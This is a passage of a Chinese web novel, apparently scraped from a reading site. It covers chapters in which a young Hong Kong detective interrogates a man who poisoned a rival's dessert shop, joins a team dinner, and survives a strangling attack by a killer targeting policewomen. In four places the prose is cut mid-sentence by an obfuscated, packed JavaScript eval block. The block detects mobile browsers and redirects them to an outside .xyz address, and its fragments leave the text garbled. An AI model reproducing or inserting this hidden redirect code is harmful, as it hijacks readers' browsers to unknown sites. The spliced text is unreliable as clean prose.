如果吴大力是一个心里素质很好的人，那么想要啃下这块硬骨头还需要一些更直接的证据，但吴大力的心理素质非常不好，现在已经焦躁得不成样子了。 “谁去审？”谭仪雯急得很，食指不停地敲打着胳膊，恨不得现在吴大力就缴械投降，然后直接送上法庭，再之后今晚送去坐监。 “你想去？” “我怕我揍他一顿。”谭仪雯咧咧嘴，脑袋歪到了另一边，脸颊几乎要贴在肩膀上。 “那就让Timo陪你。” 余子敬正觉得时间差不多了，按照时间来说，现在应该是他最焦躁的时刻，再过一会，这个峰值就会逐渐回落，吴大力会重新冷静下来，到时候就不好审问了。而就在他站起来的同时，背对着他的郭庭伟就提出让他和谭仪雯一起审问吴大力。 “前提是你别直接冲上去打他一顿。”余子敬声音平稳，眼睛只在谭仪雯身上停顿了一下就移开了。 看来他要把十分之一的精力放在控制谭仪雯身上，不过到现在为止，谭仪雯也没有做出什么过激的行为，这倒是让他放心许多。 “我只是这么说说，想打他的话，我早打他了，不会等到现在，用他的钥匙狠狠戳他几下也很痛的。” 郭庭伟听着谭仪雯的说辞，险些没忍住笑出声——看来谭仪雯比他想的更灵活，钥匙戳人很疼，而且在场的人只有三个，只要他也说是抓捕吴大力的时候吴大力撞在了钥匙上，就没有人会细查的。 “别贫嘴了，得去审讯了。”余子敬皱着眉，不太认同谭仪雯这个公报私仇的想法，但是毕竟是同组的同事，现在还有证人在场，他不能和谭仪雯争个对错。 谭仪雯跟在余子敬身后，从监控室出来，转身进了关着吴大力的房间。 审讯室的门和墙都是用特殊材质做的，所以外面的声音很难传进来，在这个只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003106|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能听见自己呼吸和心跳声的吴大力被门锁的声音吓了一跳，看见警察之后咽了一口口水，尽量让自己坐得端正些。 “Sir啊，Madam啊，你们抓我来做什么啊？是我做了什么错事吗？”脱罪的话被吴大力说得磕磕绊绊，反倒更值得怀疑了。 谭仪雯的屁股刚粘上椅子，就听到吴大力苍白的辩驳。本想像余子敬一样端正审问的她立刻也换上了极有压制性的动作，眼神也变得冷厉起来。 相比吴大力也能看到这眼神里的意思——你又在这装是吗？ “你跟旺记的老板关系怎么样？”余子敬翻开专门做笔录的本子，拿起夹在西装里的钢笔，打算将他所有的话都记录下来。 “旺记？你说阿旺？我们没说过几次话的，左右不过是见过几次的关系而已咯。你知道的嘛，我们是同行，同行是冤家的，不太熟不太熟。”吴大力说话的时候没有看谭仪雯，他几乎一直在回避谭仪雯的眼神。 “没有同阿旺取经？旺记的可是生意兴隆。” “糖水是靠味道取胜的，就算我去问，阿旺也不会教给我的啦，他家的小朋友最近好像准备要上学呢，未来花钱的地方很多的。” 谭仪雯将眼睛用力眨了一下，没有人知道她这个动作是不是因为她想翻白眼，但又不想翻得太明显。 “生意那么好，不嫉妒？” “当然嫉妒了，怎么会不嫉妒，但是糖水好喝的话自然更吸引顾客喽，没办法的事情嘛。” 谭仪雯身体向前倾着，几乎将半个身体压在桌面，吴大力不得不注意到她。 “听说你最近去中药店了？”看似是问句，但不论是谁都能听出来，谭仪雯是在用一个已经掌握了的事实对吴大力步步紧逼。“买什么了？” “就买了些葛根啊，薄荷啊，都是一些放在糖水里面的东西。”吴大力的脸不住地朝另一边侧过，但却完全无法忽略几乎要越过桌子的贴到他脸上的谭仪雯。 “是吗？是这些吗？我听说不是这样的。”谭仪雯几乎将吴大力的精神逼到了一个死角，甚至包围圈还在一点点缩小。 “是……是啊……” “用我把中药店的人请过来吗？”那个中药店的少东家还在隔壁房间里坐着呢，根本就没走，现在可能正在喝着咖啡等着被叫。 吴大力不再说话了，紧张得直咬嘴唇，那个挂在他嘴唇右下角的痣就这么被他吸进肚子里，然后又吐出来，来回多次。 “吴大力。” 谭仪雯冷不丁地叫了一声吴大力的名字，吴大力听到之后扑腾一下坐直了，可凳子却晃悠了好几下。 “你知道你买的那个东西，造成了多严重的后果吗？”谭仪雯站起来，双手承载隔着她和吴大力的桌面，上身向下压着，脸几乎贴在了吴大力面前。 吴大力只觉得谭仪雯像一座山，奔腾着朝他压了过来，他不敢说话，甚至不敢呼吸，连眨眼都忘了。 “麦旺文那个即将上学的孩子，就是你刚刚提到的那个，因为你买的东西，现在已经死了。” 吴大力觉得谭仪雯嘴巴一张一合，吐出来的不是波动的声音，而是某种毒液，吐到他身上，腐蚀着他的灵魂。 “而这一切，都是因为你。” 8. 甜蜜药 八 一分钟。 整整一分钟，吴大力都发不出任何声音，就连眼皮都僵住了。他只是抬着头，用干涩的眼睛一直盯着谭仪雯看。 那个小女孩死了，这一切都是因为他。 “如果你还想继续说一些想让自己脱罪的话，不怕晚上怕得睡不着吗？她回来找你的，你会在所有的等都关上的时候听见小孩的哭声，还会在夜深人静的时候还会听见小孩的走路声，当你去找大师的时候，大师只会告诉你这一切都是你应得的。” 余子敬停下了手中的笔。 有些东西他需要记下来，而有些东西，他就觉得没必要了。 虽然余子敬自己对这些神神鬼鬼的东西没什么兴趣，但也不得不承认香江有很多人会信这些，最常见的就是胡大仙和关公，拜关公的人很多，不管□□还是白道都会拜一拜，祈求一切顺遂。 几分钟之后，吴大力终于泄了气，再也没办法好好坐直了。 “我说，我都说……” 吴大力说话的时候有些胡言乱语，或许是完全没想过自己会杀人，所以已经有些精神混乱了。不过余子敬还是从他的语言中总结出了真实的经过。 从吴大力对生意兴隆的旺记糖水心生嫉妒，再到想要将旺记的生意搅乱给自己多增加一些生意，再到他如何实施计划，都每一步都被详细地罗列了出来。 “吴大力会被判多少年？” 谭仪雯从审讯室出来之后就直接靠在了墙上，感觉到无法呼吸的不只有吴大力一个人，还有谭仪雯。 明明都已经将吴大力抓到了，但是她还是觉得高兴不起来，也不知道麦旺文夫妇现在知不知道他们的孩子已经不在了的消息，如果已经知道了的话…… “这要看法院怎么判决。”余子敬将钢笔塞回西装口袋，重新整理了一下西装的褶皱。“如果最后判决是过失的话，就没有那么久。” 谭仪雯叹了口气。 只有查案到抓捕的这段过程才在她的掌控之中，之后的判决就不归她管了。 “你想让吴大力判多少年？” “能多久就多久，你看他不过是嫉妒，就让一个家庭破碎了，我还没算那些本来就被当作垫脚石的顾客。吴大力的计划里本来就有让顾客中毒影响旺记糖水的计划，我一点都不觉得这算是过失，死亡是过失，伤害是故意。” “如果你是法官的话……” “死刑。” 谭仪雯用手一撑，不再靠着墙面。 “你应该知道这不可能对吧？” “我知道，但你刚刚问我的是如果我是法官的话会这么判不是吗？我是法官，就判吴大力死刑。” 余子敬又一次把他手腕上的劳力士漏了出来，现在这个时间早就已经过了下班该有的时间了，从抓捕吴大力到开始审讯差不多一个小时，刚刚的审讯又进行了半个小时，如果再等一两个小时，都可以直接吃夜宵了。 西九龙特别行动处重新聚在审讯室隔壁的房间，每个人的心情都各有不同，黄馥妮是最轻松的一个，一个案件尘埃落定，还有什么比这个更值得庆祝的吗？ 而谭仪雯和薛凯杰却很低落。谭仪雯自不必说，她一开始也没有做好心理准备，不过麦咏欣的死亡点燃了她的决心。至于薛凯杰，他女儿跟麦咏欣的岁数也差不了多少，在监控室听见谭仪雯审讯吴大力的时候，他很难不联想到自己的女儿Jenny。 “大家晚上都有事吗？”余子敬刚刚把中药店的继承人送走，回过身之后，看到自己的队友们或站或坐，便开口问道。 没有人知道余子敬这么问的目的，但都摇了摇头。 除了薛凯杰之外所有人都是单身，而薛凯杰现在跟妻子分开住，孩子也跟着妻子生活，回家之后也没什么事情可以做，有什么事情也可以腾出时间。 “HappyHour？” “当然ok，案子结束了，自然要庆祝一下。”黄馥妮拍了下手，对余子敬提议的HappyHour给出了远超百分百的赞成。“我们吃什么？炒蟹得唔得？” 余子敬不知可否，只看向谭仪雯，等待着谭仪雯的回答。 谭仪雯本来只想随大流，只要大家都去，她就也去。 毕竟HappyHour这种东西她只在很古早的港剧里才见过，现在的港剧都去拳击馆和洗衣房了，HappyHour出现的次数大大减少，她确实想去体验一下这种下班之后的聚餐文化。 “我？我都可以，你们吃什么都可以，我什么都可以吃。” “那就去吃避风塘炒蟹好了，你们觉得呢？”黄馥妮继续推荐着炒蟹，看得出她确实很馋这口。“不过谁付钱？” 余子敬看了一眼黄馥妮，随后答到：“我。” “goldenleader！” “我不是leader，骆sir才是。” 香江一直很喧嚣，是整个亚洲的金融港，那些大厦里穿着西装的人每天处理着无数个零的生意，几栋建筑之间还用独特的“风水”局互相进攻防御着，现代和古老之间维持着微妙的平衡。 而就在这样繁忙的城市里，也有安静的角落，两辆车从不同的地方出发，最终停在了靠近海边的一间热闹的大排档。 “船锦荣，有没有新鲜的螃蟹啊。” 这里本来是黄馥妮推荐的店铺，但郭庭伟却在下车的第一时间跟老板打起了招呼，谭仪雯抬头看了看，发现店名是“锦荣园”，而郭庭伟叫老板为船锦荣，看来锦荣应该是老板的名字，船算是他的谋生手段，而园自然就是店铺名字的一部分了。 “当然，今天螃蟹好肥的，算是来得巧。”那个船锦荣擦了擦手，不知道从哪里掏出来一个夹在小木板上的点餐单。 “我们有靓女说要避风塘炒蟹。” 黄馥妮听到有人叫她靓女，自然是高兴得不得了，恨不得掏出来一面小镜子赶紧照照。今天在地上蹲了一天，后来又去找中药店的人当人质，头发早就乱糟糟的了，在来的路上，她还在那梳了半天的头。 至于是谁说的靓女这个词，她倒是完全不在意。 在场的这几个，Timosir、庭仔还有老薛，谁叫对她来说都一样，没有什么分别。 “只一份炒蟹？今天的虾也很好的，看你们这么多人，来四斤得不得啊，四季平安，好彩头啊。白灼清蒸椒盐，再来一个青瓜虾仁。” 那个船锦荣也是一个会做生意的人，现实看了一遍人数，开始推荐他家的新鲜鱼货，之后有看到谭仪雯有些闷闷不乐，马上又来了一句吉祥话。 郭庭伟本来还想着所有人一起讨论一下，照顾到每个人的口味，结果这个船锦荣直接把做法都想好了。况且这次付钱的人是余子敬，他看了一圈，发现没有太大意见，最后就只追加了一道生滚鱼片粥。 现在这个时间也不早了，如果吃的太多肯定也不消化，出来吃饭主要还是happy一下，顺便垫垫肚子，吃完之后还饿，大可以回家之后再做些简单的。 “Timosir没意见吧？”在船锦荣把菜单订好，拿着点好的单去鱼缸里捞虾捞鱼老螃蟹的时候，郭庭伟才回头问余子敬的意见。 余子敬能有什么意见，都订好了，虾都捞出水了，现在再反悔也来不及了，说不定郭庭伟再晚两分钟问，那虾和螃蟹都已经红了呢。 虽然余子敬嘴上没有说什么，但还是在身体上做出了反抗——他选了个距离郭庭伟最远的位置。 “今天还是得谭仪雯才能顺利抓到吴大力，眼睛好用，脑子也转得快。”黄馥妮坐在谭仪雯的旁边，搂了搂谭仪雯的肩膀。 今天所有人都看出来谭仪雯心情不好，不过这也正常，被分到西九龙特别行动处的人多少都是有些工作经验的。 像她之前就在“警声”和少年警讯组干过一段时间；Timosir的做派一看就知道是曾经被重用培养过的，说不定还是警队送他出国学习的；老薛之前做过飞虎；郭庭伟嘛，根据黄馥妮的猜测，或许是当过卧底。 就只有谭仪雯一个，一出警校的门就被分配到这里来的，没有亲自处理过什么大案子，遇到的第一个案子就是五伤一死的惨剧，一时间适应不了也是正常的。 “多谢了，阿馥姐。” “叫什么姐，直接就阿馥好了，大家都是同事，一起做事的嘛。”黄馥妮又拍了拍谭仪雯的肩膀。“你这么靓，总是这副表情的话，之后可就容易长皱纹了，皱纹长出来，可就不好消下去了。” 她一边说着，一边用手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003107|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按了按眼角，生怕眼角因为她说的这么一两句话就长出皱纹似的。 谭仪雯抿着嘴，努力调整着心情。 毕竟是happyhour，大家出来就是为了放松心情的，如果一直愁眉苦脸的，让所有人都来哄她，不高兴的人就要从她一个变成一整组了。 看到谭仪雯突然瘪着嘴，郭庭伟探出身子，嘴角勾起跟谭仪雯开起了玩笑。 “要不要这么得意啊，以后叫你得意妹好了。” 黄馥妮双手一拍，啪得一响。 “这个名字好，我们所有人都是有自己的昵称的，本来我还想问问你到底喜欢被叫什么呢，结果还没问道，就去查案了，你如果没有本来的昵称，我看这个得意妹就不错，得意得意，跟你很合的。” 黄馥妮可不像冷冰冰地叫同组的同事，这些年她去的每个岗位，互相之间都是叫昵称的。 余子敬叫Timo，如果想尊敬，就叫Timosir。郭庭伟叫庭仔，薛凯杰叫老薛。只有谭仪雯一个人连名带姓地叫，好像他们很不熟似的。 “我没有意见。”谭仪雯看看郭庭伟，这个人虽然没个正型，但是关键时候非常靠谱，得意这个词的意思也挺不错的，叫着也顺口，叫这个名字她没有意见。 没一会，白灼虾和清蒸虾就被船锦荣断了上来，其他菜也陆陆续续地被端了上来，几乎扫清了几个人今日白天的疲惫，谭仪雯站起身，走到一边的围栏边，看着一望无际的漆黑的海。 人一面对黑暗，就爱多想。面对海面，谭仪雯又想起了谭耀樟名字上的圈，到底是什么意思呢？ “得意妹，在想什么事？还是在想吴大力和麦咏欣吗？”郭庭伟出现在她身侧，将胳膊支在上面，花衬衫被解开，里面是白色的背心。 “也想了，但是主要是在想我老豆。” “回去不就见到了？” 谭仪雯摇摇头。 “我老豆在加拿大，只有我一个人在香江。” 郭庭伟若有所思地点点头，但什么也没说。 “昨天我跟我老豆打电话，他叫我一定不要去O记，我总感觉我老豆一定有什么事情瞒着我。” 其实O记倒是其次，主要是那个名字上的圈太诡异了，但是这种话她也没法跟郭庭伟讲。本来就不熟，就算熟，难道能说自己写完字发现名字上有个圈吗？她已经试过了，郭庭伟看不见那个圈。 “O记好辛苦的，如果只是一些古惑仔那倒还好，最怕的就是那些有权有势的头目，那些人什么狠事都做得出的。” 谭仪雯没想过去O记，所以对O记也不了解，但郭庭伟倒是说得头头是道，也开始好奇了。 “你之前在O记干过？” 郭庭伟伸出一根手指摇了摇，随后又对谭仪雯勾勾手指，叫她靠近点，谭仪雯将脑袋凑过去，就听见郭庭伟用只有他们两个人能听到的声音说到：“我之前是个卧底，做过古惑仔的。” 谭仪雯终于了然，怪不得一直一身花衬衫，行为也像个混混，原来是之前的角色扮演久了，现在有点改不回来了。 “那之前你说有线人，应该是你之前……” “没错，就是我那时候认识的人，有时候查案就是要有一些这样的小手段才行。”郭庭伟看上去有些得意，完全没有把借用不正规手段破案当作什么值得羞耻的事情。“好了，别在这吹风了，一会回去，坐老薛的车回家。” 郭庭伟临走前又拍拍谭仪雯的肩膀，随后才回到了桌子边上，这次他坐在了老薛的旁边，应该是在跟老薛商议送自己回家的事情。没过两三句，老薛也回过头看了看谭仪雯，随后点点头，估计是可以承担这个送同事回家的任务。 谭仪雯掏出怀里的记事本，用笔写下了郭庭伟的过去——卧底成为古惑仔。随后想了又想，还是把郭庭伟的名字写在了最上面。 还没等谭仪雯喝上记事本，一个圆圈渐渐浮现在郭庭伟的名字外圈。 她猛然回头，看向了从砂锅里盛出最后一碗粥的郭庭伟。 郭庭伟和谭耀樟的名字外面为什么都有圆圈，他们是什么关系？ 谭仪雯看了几秒之后回过头看向漆黑的海面。 看来，需要关注的不仅是谭耀樟了，还有郭庭伟。 9. 血色花 一 自从糖水铺中毒案之后，西九龙特别行动处接到的任务大多数是写辅助工作，当重案组人手不够的时候，骆sir就让余子敬带着其他几个一起前往支援。 路过旺记糖水铺的时候，谭仪雯还特地远远地看了一眼。 距离案发一个月之后，旺记糖水铺才又一次开张，至于新福记，那家糖水铺直接关门大吉，现在吴大力正在蹲班房，等着法院开庭。 至于能判成什么样，谭仪雯不知道，她既不是律师，也不是法官，没办法左右整个审判的走向，只能一边工作，一边内心期盼可以多判几年，最好是一直就被别出来了，不然出来的时候年纪也不小了，没有什么能力，再去祸害其他人。 人到中年还要用这种手段跟旺记抢生意，蹲个十几年或者几十年，出来还能做什么，还不是要作奸犯科？ 至于郭庭伟，谭仪雯则是暗暗拉远了距离，她还得调查一下郭庭伟，毕竟郭庭伟和她爸的名字上都有那个圈，但谭仪雯到现在还不知道这个圈的作用是什么。 骆sir几乎不会参与什么要出外勤的行动，只是每次任务都是他接受之后再传递下去，一个领导，活生生被特别行动处当成了一个文员。 “最近大家回家的时候都小心点。”协助处理完一场盗窃案之后，薛凯杰一边收拾着东西一边说着。 “老薛你也听说了是不是？”黄馥妮刚涂完口红，本来还拿这个小镜子端在自己面前左右欣赏，听到薛凯杰说话之后，立刻扣下了手里的小镜子，捂住心口心有余悸似的。“哎呀，真实吓死人。” “什么事啊？” 谭仪雯最近一下班就直接回家，然后开始一点点扒郭庭伟和谭耀樟的共同点，探究那个圈到底是为什么出现。 “得意还不知道？”郭庭伟绕了个原路，坐在了谭仪雯的桌面上。“现在香江警界都在讨论这件事呢。” “是啦，最近这段时间所有女警都有护花使者了，毕竟是女警杀人魔。”黄馥妮说着还打了个冷战。“得意，你晚上也叫人送你回去吧，不然还是太危险了。” 女警杀人魔？ 谭仪雯在此之前还没有听这个名头，不过谜底在谜面上，这个名字就是犯人的罪行。杀人魔的目标只有一个，那就是香江女警。 “现在已经有三个女警失踪了，找到尸体的有两个。”黄馥妮说到这，低头叹了口气。 说起来，其中一个还跟她是警校的同期生呢，虽然没见过几次，但黄馥妮认识那个名字，如果不是重名重姓，那基本上就是同一个人了。 好好的一个女警，现在就只是香江警察内部通报的一个受害人名字，着实让人叹息。 “这次总要我送了吧？”郭庭伟双手环胸，笑着看谭仪雯。 之前查询糖水铺的案子的时候谭仪雯就没让他送，这次总归是没有理由拒绝了。 谭仪雯听到这个什么女警连环失踪，心里自然也打鼓，又见郭庭伟这么主动送她回家，老薛要赶回去看女儿，余子敬又是一副急着下班不知道要干什么的样子。 还是郭庭伟吧。 虽然她确实觉得郭庭伟身上有很多疑点，但是看起来总归是好人，不至于是什么坏人，让他送一下自己，总比自己被女警杀人魔找到抓走，最后曝尸荒野强。 “那晚上一起吃煲仔饭？”糖水案的时候，郭庭伟请谭仪雯吃了糖水，本来谭仪雯是想着第二天找个时间还给郭庭伟，但没想到第二天案情就有了重大进展，刚到上班的时间，就去出外勤抓吴大力去了。 在之后就是happyhour，麦旺文又隔三差五地送糖水过来表达他的感激之情，谭仪雯说过要还钱，但郭庭伟却多番拒绝。正餐和甜点还有专门的供给，完全用不上谭仪雯请。 现在终于好不容易有一个机会，谭仪雯可得赶紧抓住了。 郭庭伟见过的人很多，所以一眼就看出来了谭仪雯的意思。 之前他已经拒绝了太多次，这次顺理成章地反请，他再没有了拒绝的理由。 一顿糖水而已，还能记到这个时候，再拒绝就有些不礼貌了。 “ok啊，没问题，去你家楼下吃好了。” 谭仪雯的家附近已经是一个非常完善的生活区块了，还有一些老街坊住在这里，大排档、糖水、茶餐厅应有尽有。 既然说了是要吃煲仔饭，谭仪雯就选了距离家最近的一家店铺，吃完饭之后只要穿过一条十米左右的狭窄小巷就能直接站在自己家的那栋楼下面。 只有这么短一段路，吃完饭之后郭庭伟就算不送她回到自己的房间，也算是尽到了送回家的义务。 —— 郭庭伟的吃饭速度很快，这件事谭仪雯其实早就发现了，但是在收工之后也吃得这么快倒是让谭仪雯有些不解。 “庭仔，你为什么吃这么快？” 跟有什么野兽追在他屁股后面跑，他一定要在限定时间内把面前的食物全吃光似的。 “之前习惯了，你慢慢吃，不用急着追我的速度，我很多年都这样的。” 当年当卧底的时候，他可是一边战战兢兢找寻有用的线索，一边兢兢业业给社团冲锋陷阵，所有新进社团的人里，就他最勇猛，所以没多久就成了社团里一个小分区的中级人员。 在他正邪之间，黑白夹层里，他连睡觉都没什么时间，吃饭更是要争分夺秒。他怎么能不知道吃饭快伤身体？但是他也没办法。 最后因为时间太长就习惯了。 “看来你这个卧底当得还挺辛苦的。”谭仪雯用筷子戳了戳小砂锅里的米饭。 郭庭伟笑笑没说话，何止是辛苦啊，还危险呢，他有很多同僚都没撑过去。 像他这种恢复原职的已经算是幸运的一部分人了，当然最幸运的人是那些被保护送出国的人，不过郭庭伟没赶上那一批，被官复原职之后成了西九龙特别行动处的成员。 “一会我就自己回去了，刚刚给你看了我家在哪里，穿过一条巷子就能到了，这么短的一条路，没问题的。” 郭庭伟此时已经放下了筷子，对谭仪雯的提议没点头也没摇头，习惯性地四处张望着。 谭仪雯权当是郭庭伟默认了，郭庭伟也是这么做的，在谭仪雯转身离开的时候没有站在她身边， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003108|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭仪雯是自己一个人走进小巷的。 还差三米就能离开小巷的时候，一个身影从黑暗里穿了出来，捂住了谭仪雯的嘴巴。 虽然已经当了一段时间的香江警察，但是大多数时候谭仪雯只是负责查案，亲自抓人也只有抓吴大力那么一次，除此之外，就没负责过抓人了。 说到底，她也不过是一个穿进香江刑侦小说里的一个普通大学生，哪里经历过被人在小巷里捂嘴的事情？ 有那么一瞬间，谭仪雯无比希望赶紧回到自己原本的生活，当一个躺平摆烂的普通女大学生。 一个细丝一般粗细的硬东西搭在了谭仪雯的脖子上，捂在她嘴上的手也拿了下去。 谭仪雯也不知道是什么，但她猜测或许是什么铁丝钢丝之类的东西，现在已经勒得她两眼发黑了。 得想办法自救才行！她可不能死在小说里啊！ 谭仪雯抬起手，朝后抓着那个用金属丝勒着他的人。她只知道尽量抓，也不知道有没有真的抓伤那人，最后实在是被勒得喘不上气了，在本能驱使下，将手反着从金属的缝隙一路往颈前滑，想要往前拉出一些空间，喘上几口气。 那丝线实在是太细了，把手指勒出深深的一道印子，谭仪雯手疼、脖子也疼、还喘不上来气，感觉自己要完蛋了。 “得意！” 模糊之间，谭仪雯听到了有人叫她的昵称。 知道这个昵称的人，只有特别行动处的同时，就连谭耀樟都不知道，而在附近的人除了郭庭伟几乎没有别人了，所以只能是他。 不管是谁，终于是得救了。 郭庭伟本来是想直接走的，但是又实在放心不下，走出去一百多米之后又折返回来，结果怕刚站到箱子门口，就看到了谭仪雯被一个未知人士锁住脖子，腿已经快要蹬不动了。 可能别人不知道谭仪雯这样的肢体动作代表什么，但是在社团混过的郭庭伟可是知道得很清楚的——这是快失去意识了。 失去意识的时候是最危险的时候，这时候别人做什么都没法反抗。 多亏他折返回来了。 那个未知人物回头看到有人来了，理科松了手，从巷子的另一端离开，等郭庭伟也跑到那里的时候，早就已经不见人影了。 晚饭之后的香江气温正好，很多人都走出来了，还有些现在刚刚出门准备吃饭的人，很容易就能脱身。 郭庭伟不再执着追那个凶手，只想了几秒钟，就立刻折返回去找了躺在地上已经因为缺氧晕倒了的谭仪雯。 谭仪雯被送到医院之后大概一两个小时之后就醒了，毕竟只是晕倒，又不是昏迷，医生又检查了一边，认为谭仪雯没有什么大碍，如果想立刻离开的话，现在就能走，但是睡一晚上也可以，由谭仪雯自己决定。 “你有没有看到他长什么样子？”郭庭伟坐在陪护椅上，床头上放了一瓶水，还有几个小饼干或者小面包。 谭仪雯摇摇头。 那个人直接窜出来，她去哪看到那个人的脸。 “不过我努力抓他了，可以看看能不能从我的指甲里提取出来一些什么！” 10. 血色花 二 谭仪雯朝着郭庭伟伸出了手，不过不是想要抓住郭庭伟，而是像给他展示自己的指甲一般竖着手指。 “你抓伤他了？” 郭庭伟几乎可以确定那个想要把谭仪雯绑走的人就是传说中的女警杀人魔，毕竟除了那个杀人魔之外，没有谁是专对着女警下手的。 谭仪雯也不是什么有钱的人家，上下班的时候穿的衣服也不像是有钱人家穿的衣服，尤其是他们特别行动处内还有一个花枝招展的黄馥妮。 如果单纯想要劫财，并且蹲守的地方是西九龙特别行动处的话，那么最应该打劫和绑架的人应该是黄馥妮才对。 谭仪雯看起来就没有多少钱，家里人也都不在香江，刚毕业没多久，也不存在什么能让人绑架勒晕了的仇人。 实在是没有什么理由会成为凶手的目标，除非那个人只是想找一个女警，不管是什么女警都行，只要是女警就可以。 什么人符合这个心理状态？只有那么一个可能——女警杀人魔。 “我不知道，但是我用力抓了。”谭仪雯看着自己的指甲，圆圆短短的，没有特意修正指甲形状，只是剪指甲的时候稍微搓了搓，也不知道能不能抓下来一点皮肤组织。肉眼看不见，只能去采样化验一番。 现实中想要把人的皮肤划出一道口子，尤其是那个人的手放在脑袋后面的时候，如果那个凶手是用手捂住谭仪雯的嘴巴和鼻子，那倒还容易抓伤，但是如果那双手在背后，大多数人只会拍打。 几乎不会留下什么有用的信息。 不过谭仪雯这种情况除外，她说自己用力抓了，只是不知道有没有抓到而已。 通常情况下只会下意识地拍打，所以自然没办法抓到DNA，但谭仪雯是有意识地想要留下些什么，自然还是有希望的。 “那我给鉴证科的人打电话，叫他们来检验一下。”郭庭伟一边说一边站起身，从裤子口袋里掏出电话。 “为什么不直接去？” “你这样还是在医院里好好休息一下吧。”郭庭伟低头瞥了谭仪雯一眼，用看似嫌弃的语气关心着谭仪雯。 谭仪雯这才感觉到手指上的疼痛，刚刚展示自己指甲的时候，都是用展示的姿势，所以只能看到自己的手背，此时翻转过来，她发现自己的手指被铁丝勒住的部分整整齐齐地有一条紫色的淤青。 不管是弯曲手指还是张开手指，都会牵扯到刻在肉上的伤痕发出阵阵疼痛，还有一些地方皮肤都直接被勒破了。 还好用手挡了一下，不然自己肯定被勒死了。 “现在看到了？” “嗯，看到了。”谭仪雯刚想点点头，结果感觉脖子也疼。 郭庭伟从给陪护放东西的小台子上拿了一个镜子过来，让谭仪雯照照自己的脖子。 谭仪雯接过镜子，微微抬起下巴，眼神垂着向下，透过镜子看向自己的脖颈。 一条淤紫从左到右印在了脖子上，在偏左的位置上，还有三个椭圆形的淤青，应该是谭仪雯手指挡在脖子前面，但奈何又勒得太紧，压住自己的脖子不松，所以造成了类似掐痕的痕迹。 多亏自己还活着，不然如果真是被这个女警杀人魔给带走了，自己这帮同事说不定要看着她脖子上这三个椭圆形的“掐痕”毫无头绪，最后成为未解之谜。 郭庭伟找了半天号码，最后才找到了鉴证科的电话。 现在虽然算不上半夜，但是也绝对不是工作时间，所以郭庭伟的第一个电话没有打通，第二次打过去之后也等了很久才接通，接通之后，对面也是有些怠惰的声音。 “喂？” “我们这里有一个从女警杀人魔手下逃出来的女警，她说她的手指甲里很有可能会有凶手的皮肤组织，所以麻烦你过来带着物证袋过来化验一下。” 听到郭庭伟说的话，电话对面的鉴证科值班人员“腾”得一下站了起来。 最近这段时间，应陆陆续续有三个人被掳走了，也有发现尸体的人，这件事已经被一部分人知道了，说不定要不了几天，八卦杂志就会把这个事故当作大新闻添油加醋泄露出去，到时候肯定会引发一定程度的轰动和骚乱。 他们鉴证科也已经很努力的寻找线索了，在力所能及的范围内尽力寻找线索，重案组也从来没闲下来过，甚至启用了新设立的“西九龙特别行动处”来帮忙处理日常的案件，以便脱身跟进这个女警杀人案的案情。 可是就是没有进展，难道他们鉴证科可以把那个已经去世了的女警翻出来再解剖十次八次次吗？且不说他们心里是否能过意得去，最重要的是那个女警的家属也肯定不能同意啊！ 本来在值班的鉴证科工作人员都已经困得要睡着了，这么一通电话打过来，她直接跟上级报告，然后拎着提取物证的箱子就出发到了谭仪雯所在的医院。 到医院的时候，时间已经逼近了十二点，大部分人急诊的病人都睡着了，只有几盏灯还亮着，没有紧急病患需要照顾的护士也昏昏欲睡。 谭仪雯艰难地喝了口水。 其实她没有被伤到嗓子，不过只要一喝水，脖子上的皮肤就会被牵动，扯着难受。 “西九龙特别行动处郭庭伟。”在看到拿着取证工具来的鉴证科同事之后，郭庭伟站了起来，现自我介绍了一番，侧过身让出了谭仪雯的身影，随后又怕谭仪雯说话扯到脖子上的皮肤，所以一并介绍了。“同组的谭仪雯。” “ok，madam谭，现在要提取一些你指甲里的碎屑，你之前没有洗过手吧？” “她没有，一直忍着不去洗手，也没有挠过头皮和身上。”为了能尽量把证据保存完好，谭仪雯几乎一直躺在床上一动未动，更别说什么洗手了，郭庭伟除了打电话之外几乎寸步不离地看着她，不让任何看起来奇怪的人靠近。 现在谭仪雯是香江警队上下唯一一个从女警杀人魔的手下逃脱的人，很难说那个女警杀人魔会不会面对没有得手的猎物重新找上门来？ 明天要不要给她找两个证人保护组的督察同事过来保护这个重大案件的幸存者？也不知道能不能批准。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 